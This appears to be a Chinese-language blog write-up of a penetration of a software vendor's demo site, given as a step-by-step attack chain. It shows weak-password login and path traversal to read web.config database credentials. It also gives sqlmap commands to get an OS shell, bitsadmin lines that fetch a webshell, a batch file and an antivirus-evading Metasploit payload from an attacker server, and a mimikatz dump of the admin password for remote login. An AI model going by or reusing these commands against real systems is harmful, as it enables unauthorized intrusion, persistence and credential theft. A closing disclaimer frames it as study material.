FavoriteLoading
0

【實戰】對某廠商演示站點的一次滲透測試

前言

其實這個廠商之前就挖過他們家漏洞,提交了不少漏洞給他們,如今都修復了,最近閑來無事,又對他們演示站點進行了一次“深入”研究。

0x01 演示站點入手

打開他們演示站點,測試了一下之前的漏洞,空賬號空密碼登錄已經被修復了,嘗試弱口令登錄,123456登錄進去了。

然后對之前存在漏洞的上傳點再次嘗試截斷上傳,發現已經修復了。
后臺多了一些功能,比如下面這個“文檔管理”,上傳已經繞不過去了。

0x02 前方高能預警

我們先上傳了一個txt文件,里面的內容是“1”。
文檔管理這里可以刪除文件夾,同時也可以預覽文件夾,然后通過burp抓包看一下預覽文件的數據包,數據包如下

一個騷思路出現在腦子里面,我們何不嘗試讀取一下其他文件看看呢?

說干就干,直接輸入一個不存在的文件看看,數據包fileid里面的文件名修改成Space66662333.txt

然后重放數據包,查看返回包已經提示找不到文件,并且爆出路徑了。

嘿嘿嘿你們知道我要干啥了吧?

看路徑就知道,我們上傳的1.txt是在網站的二級目錄下,所以可以使用../跳轉到上一級目錄。../../表示往上跳兩次目錄。

現在我們嘗試去讀取網站配置文件試試,文件名修改成../../web.config然后發包。

可以看到已經讀出了網站配置文件信息,里面有數據庫賬號密碼等等數據。

嘗試遠程連接數據庫,不出意外,禁止外連啦。

0x03 繼續分析后臺

因為這套系統是真的爛,所以我猜測后臺的查詢功能肯定也存在注入。
如果權限夠高的話,說不定可以直接上傳shell呢。

說干就干,找能查詢數據的地方,我們用burp抓包,然后把抓到的數據包放進c盤下1.txt里面。
然后啟動sqlmap,輸入以下命令開始檢測
sqlmap.py -r c:\1.txt

可以看到的確是存在注入的,我們輸入以下命令看看是否為dba權限。
sqlmap.py -r c:\1.txt --is-dba


現在嘗試輸入如下命令,執行交互式shell試試。
sqlmap.py -r c:\1.txt --os-shell

報錯了,找不到解決方法只能重新找其他注入點試試了。

咱們繼續burp抓包,然后sqlmap驗證。
最后,終于有個注入點可以執行交互式shell了。
看了下還是system權限。

咱們先收集一波服務器信息
輸入tasklist

從上圖可以看到,服務器裝了eset殺軟,進程是egui.exe ekrn.exe。
說實話,我真的很討厭這個殺軟,之前就遇到個,各種工具和后門都會給你殺掉。

繼續輸入net user
發現啥都沒獲取到,不顯示賬號名稱。

那么咱們直接看看管理員賬號是多少,還有遠程登錄端口是多少。
首先輸入query user得到用戶名稱

然后輸入以下命令,獲取到遠程登錄服務的pid
tasklist /svc |find "TermService"
可以看到pid出來了,pid是3312

我們再輸入netstat -ano |find "3312“
圖中可以看到遠程端口拿到了。

下面我們直接用前面的數據庫密碼去嘗試遠程登錄服務器試試看。
不過事實證明我想多了,密碼錯誤。(多數管理員會把各種密碼設置成一個)

0x04 嘗試通過sqlmap拿shell

因為可以執行命令,但是不能添加管理賬號,估計是被eset攔截了。

然后咱們嘗試用echo寫文件的方法寫一個webshell到網站目錄下。
蛋疼的是,他的網站目錄是中文的,在sqlmap下中文不知道為什么,執行的時候會自動清除中文路徑。

0x05 成功拿到webshell

他的網站目錄中文路徑這個的確很蛋疼,不過咱們也不能慫對吧?
騷思路又來了......

找一個免殺的aspx一句話,然后放在自己的web服務器上。
用bitsadmin下載這個aspx到目標上面
bitsadmin /transfer n http://111.111.111.111/m.aspx??e:\m.aspx

為了解決sqlmap中文路徑無法交互的問題,我們再寫一個bat文件,內容如下。
copy e:\m.aspx e:\對方網站中文路徑\二級路徑\網站根目錄\m.aspx

然后還是用bitsadmin下載到對方的服務上。
bitsadmin /transfer n http://111.111.111.111/s.bat??e:\s.bat

現在我們查看一下是否下載成功,在sqlmap里面執行dir e:\

接下來在sqlmap下面執行e:\s.bat
會顯示文件復制成功,已經把后門從e\下面拷貝到他網站根目錄下了。

嘿嘿嘿,上菜刀試試,成功連接。

然后菜刀執行net user 發現已經可以返回了,但是還是無法添加管理員賬號

因為上面有eset殺軟,用exp提權或者用wce、mimikatz去讀取管理員密碼是不可能了,各種exp上去全被干掉。

0x06 嘗試提權

最后我的思路是這樣,搞一個免殺后門,然后用bitsadmin下載免殺文件到對方的磁盤根目錄下,然后sqlmap運行這個免殺文件,上線到msf后直接獲取管理員密碼。

說干就干,咱們先用msf生成一個shellcode然后做好免殺。
把免殺遠控放在我們開了web的服務器上
在sqlmap下執行以下命令下載遠控到目標上面。
bitsadmin /transfer n http://111.111.111.111/m.exe??e:\m.exe

然后msf做好監聽,準備接收反彈回來的shell吧。
監聽好了以后直接在sqlmap里面執行e:\m.exe
返回kali查看,已經成功返回session了,(之前測試過幾次,都沒成功上線,原來是我生成的shellcode有問題)

在msf里面依次輸入以下命令讀取管理員密碼
load mimikatz
wdigest

拿到密碼以后,配合前面收集到的遠程登錄端口,直接輸入ip:端口號登錄成功

【聲明】:8090安全小組門戶(http://www.jvwkvg.tw)登載此文出于傳遞更多信息之目的,并不代表本站贊同其觀點和對其真實性負責,僅適于網絡安全技術愛好者學習研究使用,學習中請遵循國家相關法律法規。如有問題請聯系我們,聯系郵箱[email protected],我們會在最短的時間內進行處理。